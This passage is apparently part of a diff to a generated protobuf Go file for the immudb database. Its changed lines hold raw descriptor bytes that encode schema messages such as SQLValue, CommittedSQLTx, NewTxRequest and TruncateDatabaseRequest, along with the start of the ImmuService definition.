0x01, 0x1a, 0x5c, 0x0a, - 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, - 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, - 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, - 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, - 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, - 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, - 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, - 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, - 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, - 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, - 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, - 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, - 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, - 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, - 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, - 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, - 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, - 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, - 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, - 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, - 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, - 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, - 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, - 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, - 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, - 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, - 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, - 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, - 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, - 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, - 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, - 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, - 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, - 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, + 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, + 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, + 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, + 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, + 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, + 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, + 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, + 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, + 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, + 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, + 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, + 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, + 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, + 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, + 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, + 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, + 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, + 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, + 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, + 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, + 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, + 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, + 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, + 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, + 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, + 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, + 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, + 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, + 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, + 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, + 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, + 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, + 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, + 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, + 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, + 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, + 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, + 